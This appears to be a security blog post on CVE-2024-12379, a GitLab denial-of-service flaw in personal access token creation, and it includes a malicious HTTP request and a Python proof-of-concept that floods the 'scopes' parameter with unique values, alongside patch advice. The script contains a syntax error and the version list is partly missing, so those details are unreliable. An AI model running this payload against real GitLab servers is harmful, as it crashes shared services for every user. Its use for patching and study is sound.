In early 2024, CVE-2024-12379 was announced, highlighting a dangerous Denial of Service (DoS) flaw in GitLab Community Edition (CE) and GitLab Enterprise Edition (EE). This vulnerability affects all GitLab versions from 14.1 up to, but not including, 17.6.5, 17.7.4, and 17.8.2. It takes advantage of the Personal Access Token (PAT) creation process, allowing an attacker to flood the application with symbols through an unsanitized "scopes" parameter—potentially crashing the entire GitLab instance.

In this post, we’ll break down how it works, see some sample code, look at the exploit in detail, and tell you how to stay safe.

What is CVE-2024-12379?

CVE-2024-12379 is a Denial of Service (DoS) vulnerability found in GitLab's code for creating Personal Access Tokens. Here's GitLab's official advisory.

Whenever a user creates a Personal Access Token in GitLab, they choose which "scopes" the token will have (like read_api, write_repository, etc). The backend is supposed to check these scopes and limit them. But in these vulnerable versions, the server did NOT restrict or validate the number or uniqueness of scope symbols submitted. If you send thousands or millions of unique scopes, the Ruby server tries to create a symbol for every single item in the list. Symbols are not freed by Ruby’s garbage collection, so this quickly exhausts server memory—crashing GitLab, causing a Denial of Service.

17.8 up to (but not including) 17.8.2

Any self-hosted GitLab or outdated SaaS instance is at risk until patched.

How Does the Exploit Work?

The attacker abuses the vulnerable endpoint by creating a new Personal Access Token, but instead of supplying a normal set of scopes, they send a massive array of *random* or *crafted* strings as the "scopes" parameter.

The relevant vulnerable API endpoint (on default GitLab setups)

POST /-/profile/personal_access_tokens
Content-Type: application/x-www-form-urlencoded

Normal request

POST /-/profile/personal_access_tokens HTTP/1.1
Host: gitlab.example.com
Cookie: _gitlab_session=...; other_cookies...
Content-Type: application/x-www-form-urlencoded

personal_access_token[name]=TestToken&personal_access_token[scopes][]=read_api

Malicious request

POST /-/profile/personal_access_tokens HTTP/1.1
Host: gitlab.example.com
Cookie: _gitlab_session=...; other_cookies...
Content-Type: application/x-www-form-urlencoded

personal_access_token[name]=DoSToken&personal_access_token[scopes][]=one&personal_access_token[scopes][]=two&personal_access_token[scopes][]=three&... (repeat for thousands/millions of unique entries)

Each "scopes" value is internally to_sym'd in the Ruby backend, and each *unique* string creates a *new symbol* in memory, which will never be reclaimed. If the attacker sends thousands to millions of unique entries (easily scriptable), server memory is exhausted, GitLab becomes unresponsive or crashes, and service is denied for all users.

Exploit Example: Simple Script

Here’s a Python proof-of-concept script (simplified for demonstration—don’t use this on any network you don’t own!):

import requests

# Replace with your target GitLab instance URL and valid session cookie
url = "https://gitlab.example.com/-/profile/personal_access_tokens";
cookies = {"_gitlab_session": "YOUR_SESSION_COOKIE"}  # Authenticated session needed!
headers = {"Content-Type": "application/x-www-form-urlencoded"}

# Generate thousands of unique scope entries
scope_entries = "".join(f"&personal_access_token[scopes][]={i}_custom_dos" for i in range(, 10000))

data = f"personal_access_token[name]=DoSToken{scope_entries}"

response = requests.post(url, data=data, cookies=cookies, headers=headers)
print(response.status_code, response.text)

This will attempt to create a Personal Access Token with 10,000 unique scopes. A determined attacker could multiply this further.

> Note: This exploit requires a valid logged-in user session. In a misconfigured GitLab with open registration, or with logins leaked, this attack becomes trivial.

Exploit Impact

- Crash or hang the server: Ruby’s Symbol GC isn’t designed to clean up these symbols, so memory usage grows uncontrollably. The whole GitLab service eventually fails.

Resource exhaustion: Even if the server recovers, normal users may experience severe slowdowns.

- Persistent DoS: Until the server is restarted and the attack vector closed, the attacker can keep repeating or automating the attack.

References

- GitLab Security Advisory for CVE-2024-12379
- National Vulnerability Database - CVE-2024-12379
- GitLab Issue #456546
- What are Ruby symbols and memory?

Fix and Mitigation

Patch Immediately:
Update GitLab CE/EE to 17.6.5, 17.7.4, 17.8.2 or newer. These releases validate and limit scope values on the server-side and prevent uncontrolled symbol creation.

Summary

CVE-2024-12379 is a simple yet devastating attack vector against unpatched GitLab servers. By abusing the scopes parameter during personal access token creation, an attacker can exhaust system memory and deny service to all users. Patch now! If you run any GitLab version older than the fixed releases, you’re at risk.

Stay safe—always keep critical infrastructure up-to-date and monitor for abnormal usage patterns.


*Exclusive for our readers: If you want more deep-dives and up-to-the-minute security breakdowns, follow our blog and watch this space for more!*

Timeline

Published on: 02/12/2025 15:15:12 UTC